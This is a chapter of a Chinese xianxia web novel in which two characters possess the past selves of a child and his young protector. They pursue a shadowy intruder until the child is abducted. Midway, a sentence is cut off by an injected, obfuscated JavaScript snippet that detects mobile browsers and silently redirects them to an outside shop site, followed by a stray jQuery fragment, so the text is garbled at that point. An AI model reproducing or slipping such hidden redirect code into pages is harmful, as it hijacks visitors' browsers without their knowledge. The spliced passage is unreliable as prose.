“那里有人!”素念忱当即高声道。
绯红的剑光比他的声音更快,在话音未到末尾时已落向窗沿,斩出一声闷哼。
来不及说更多,卫惊春一挥手,试图把素念忱收进袖中,只是不知对方究竟与何方高人有着渊源,身上禁制密密麻麻精妙无比,任是十个飞升境过来以力破法都要觉得棘手。
没法子,他只好把对方放在云上,然后牵着云追了出去。
素念忱:“……”
“啊啊啊啊要撞墙了!我讨厌死你这只大胖鸟了。”
卫惊春全然不理会他的哀嚎,索性对方又不会真的撞到,他随意给对方身上套了几个阵法,便一心一意地追着那双眼睛的主人离去了。
一人一鸟撕开空间,转瞬消失在寝室中。
静夜悄悄,连一丝声音也无。
只是良久之后,寂夜里响起了一声叹息。
素丹黎认命地坐起身,看向旁边的孩子,温声细语道:“爹的小雪儿,怎地还不睡?是白日里睡够了吗?”
孩子连眼睛都没眨,素丹黎却将脸虚虚伏在他的肚子上,投降道:“好,不是这个,是有什么东西在外边吗?”
小小的素雪砚就静静地看了他一会儿,“啊。”
想了想,努力地憋出后半个字,“嚏。”
素丹黎:“……”
也没冷着啊,更没生病。
他静下心来,闻见了一股花香。
“阿嚏!”大人也被香得受不了了。
这样浓郁的香气,让他想起了学堂里的一个学生。
孩子生得很漂亮,也确实很臭美,天天沾着一身桃花香。
素丹黎摸了摸孩子的额头,起身穿鞋走到窗边,却只望见巨大月轮高悬天际,屋檐边缘掠过一只惊飞的鸟儿。
大人抵着下巴,将窗从里头锁上,隔日就带着孩子去附近施粥。
他在天风洲主设立给孩童开蒙的启灵苑供职,闲暇时分偶尔回来给周围的穷苦人们施粥或者治病,事情做久了,不仅周围的人会在他家小雪受欺负的时候主动帮忙,就连苑主也注意到了他。
他把这件事报了上去,后来苑里就拿灵石点做奖励,招了学生帮他,并且主动承担了供给米粮肉菜还有药材这些东西的责任。
那个身上特别香的孩子也偶尔会来帮忙,素丹黎记得对方家里的大人似乎是一位常年闭关修炼的修士,不知是过于粗枝大叶,还是根本忘了自己还有个孩子,总是忘了给孩子糊口的饭钱,倒是逼得那孩子小小年纪就要出门养活自己了。
素丹黎对他记忆深刻,还因为每次对方来帮忙,虽然总是装作不在意,但是眼神每次都一直往自家小雪那里飘。
比方现在,他又在盯着他家小雪了。
素念忱睁开眼睛,看着自己缩水了不知道多少倍的身子,感受着自己莫名空茫的意识,以及一身蚀骨的疼痛,难得默然。
正在给人盛粥的卫惊春挪到了他的身前,声音冷静,“你发现那个家伙附身在谁的身上吗?”
素念忱下意识要张嘴说话,可附身过往旧影限制重重,这个时候的爹爹根本就不可能说那么多话。
他尝试着“啊啊”几声,可却连气音都发不出来。
这具身躯除却如骨附蛆的疼痛,倒是没有什么明显的残缺,只是不知怎地,舌头就跟外来物似的懒洋洋地趴在那里,身体的主人没有使用它的意愿,而它也没有动弹的念头。
于是素念忱只好对着被大胖鸟附身的小胖鸟虚虚地张了张嘴,以示自己没法子说话。
先前他们追着那双眼睛的主人跳跃了不知多少空间,结果周围忽然又变了环境,而对方也不知所踪。
卫惊春这便知晓先前对方是如何隐匿住了踪迹。
入溯流光者皆为素雪砚身上所谓的罪孽而来,那罪孽的真相就藏在素雪砚与他人的因果牵系之中,他们寻求的过往依托那份因果相连的几个存在进行回溯。
而镜海连同各大世家不知把持天海多少年,说不得就有什么秘法,能让那几个存在通过一些手段,借助自身因果主人的身份,附身过往自己的旧影当中进行藏匿。
卫惊春想清楚个中关节,便琢磨出了法子,果真附身到了自己的过往旧影当中。
而能够复现素雪砚过往的神秘少年,竟也当真附身到了属于素雪砚的过往旧影当中。
卫惊春给人盛好粥,又弯下腰去拿来一层碗,继续同素念忱“说话”。
“竟然说不了话?只是说多几个字,竟然会被认为绝对不是这个时空的素雪砚吗?”
话音最后,卫惊春颇为不敢置信。
素念忱很想狠狠地点头,无奈他爹这时候似乎也不会同他这般活泼,于是展露出来的就只有小鸡啄米一般的微微弧度。
爹,您小时候未免太过安静了。
素念忱欲哭无泪。
卫惊春犹自不敢置信,很快地,不知素丹黎忽然有了什么事,过来交代他同另外几个苑里的学子照顾一下素雪砚。
少年卫惊春对着素丹黎笑眯眯的脸,神态自若地点了点头,等人一走,就把其他学子哄到一旁用午膳,自己拎着两碗粥和两碟菜到了坐在树下的小孩旁。
然后看见眼前黑光一闪,一只小蛇咬上了孩子的手,而后被崩掉了两颗毒牙。
卫惊春:“……”
少年卫惊春被惊得呆住了,一下子将蛇打死,急忙忙赶上前去看了那小孩的手,见上边光洁细腻,连油皮都没破,反倒流光溢彩地闪着阵法的光芒,一时间愣住了。
卫惊春听见少年自己没心没肺的声音,“我的天啊!你这人究竟得是多么倒霉,感情素夫子连这都预料到了,没有灵气都能发挥作用的阵法,这得花多少心思才能炼成?”
对边的小孩没理他,瞧他同地上的那条死蛇没有任何区别。
少年卫惊春放下他的手,绕着他的身子走了几圈,接着拿起一碗粥,凑到他近旁。
“嗯嗯,好吧,不理我就不理我,但是素夫子的话你总得听吧,来,喝粥。”
素丹黎的称呼像是某种开关,当真引起了这孩童的注意,少年卫惊春如同找到钥匙的寻宝者,抱着满腔新奇感,一调羹一调羹地喂了他半碗。
接着小小的素雪砚就不喝了。
“胃口这么小?诶,怪不得素夫子说你今年大约六岁,我瞧着却像三四岁那么大。”
小小的素雪砚还在盯着眼前的调羹,如同思考着一道难解的谜题。
卫惊春天性活泼,见这小孩不理他,也懒得继续逗弄。
他环顾四周,见左右无人注意这里,便偷偷贴在这孩子耳边,做贼似地开口:“你昨晚发现我了是吗?”
不待孩子回答,他当即肯定道:“没错,你一定是发现我了,我又听见你打了喷嚏。”
素雪砚当即微微张口,在卫惊春不敢置信的眼神注视下,慢吞吞地打了个小小的哈欠。
孩子吃饱想睡了。
卫惊春:“……”
这倒霉孩子。
八九岁的卫惊春如是想到。
也不知素丹黎什么时候回来,卫惊春当即抓紧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17603219|205675||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时间,继续问他:“那你有没有发现什么别的奇奇怪怪的家伙,我昨晚不是故意偷偷溜进你家里的,是有个鬼鬼祟祟的家伙进去,我就追着进去了。”
见素雪砚良久不说话,卫惊春还以为这疑似脑子有问题的孩子听不懂自己的话,刚想哀叹自己今天注定无功而返,就见这小孩开口,说了一个字:“秦。”
卫惊春:“……”
感情你听得懂啊!不过这个琴,还是秦晴情,你倒是多说几个字啊。
“祖宗,求你了,好哥哥,你多说几个字好吗?”
附身自家爹爹的素念忱:“……”
这一幕似曾相识啊。
跟前不久自己求留影珠的模样好生相似。
素念忱想要抬起脸来看看卫惊春的表情,想看看长大后的卫凤君对此如何表示,无奈小时候的他爹似乎没有正眼瞧对方的心思,他仔细感受了一阵,感受到小小的素雪砚对于脚边那朵小小野花倒是颇为好奇。
素念忱:“……”
爹,您这关注的地方未免太过奇怪了。
卫凤君这么大个活人还杵在面前呢。
他还求你了,还喊你祖宗呢。
祖宗无动于衷,也不知晓自己未来孩子的强烈意愿,一心一意地盯着地上的野花。
少年卫惊春抓耳挠腮,试图让这小孩尝尝自己的厉害,无奈自己似乎没有什么可以让对方尝尝厉害的手段。
默然半晌,他认命地继续尝试道:“素夫子。”
小孩慢吞吞地抬起头来,用那双漂亮的眼睛看他。
卫惊春:“……”
素夫子这三个字是什么打开机关的钥匙嘛,这小孩……
他跃跃欲试,想想还是正事要紧,连忙同这小孩说道:“素夫子为人光风霁月,时常积德行善,如果你能帮我抓住坏人,那么他一定会高兴。”
他仔细解释,“其实昨晚那个进你家里的家伙,我跟兄弟们跟了好久了。那家伙好像在到处偷小孩,背后还有一个组织,我瞧你好像知道什么似地,能把知道的东西都告诉我吗?我可以邀请你进入我们维护南灼小镇的少年小分队,以后我们就是兄弟了。”
少年卫惊春叽里呱啦了一堆十分中二的台词,好半晌,却没能得到回话。
他抓耳挠腮,刚想放弃,忽然见那小孩皱了皱眉头,好似很费劲一般,张开嘴巴说了一个字:“后。”
一阵黑风从卫惊春身后袭来,刮得他满背的血,他还没来得及反应,就见那黑风把素雪砚卷走了。
少年卫惊春:“……”
这孩子咋恁倒霉。
他当即朝着周围呼喊了一声,叫苑里的学子们通知大人们前来,而后拖着一身伤追了上去。
带走孩子的黑风离远了些,而后变作了一个身量不高的人。
素念忱透过这具身躯,闻见对方身上挥之不去的血腥味还有隐约的□□腐烂的味道。
他想抬起眼睛看看这黑风的真身,这一次罕见地如愿以偿。
那是一个生得极其丑陋瘦弱的人,脸皮像缩水的衣服一般套在骨头上,让外人瞧不出具体神情,再往下看,破旧衣衫里包裹的身躯也如骨架一般。
像是骷髅成了精。
对方分辨不出男女老幼,正用一种极其复杂的眼神望着他。
不,是望向素雪砚。
秦十二看着这张虽然苍白,但是却萌发着浓浓生机的脸儿,沉默了许久,这才声音沙哑地开口:“对不起。”
“可我不能放过你,也不能放过你身体里的那个人。”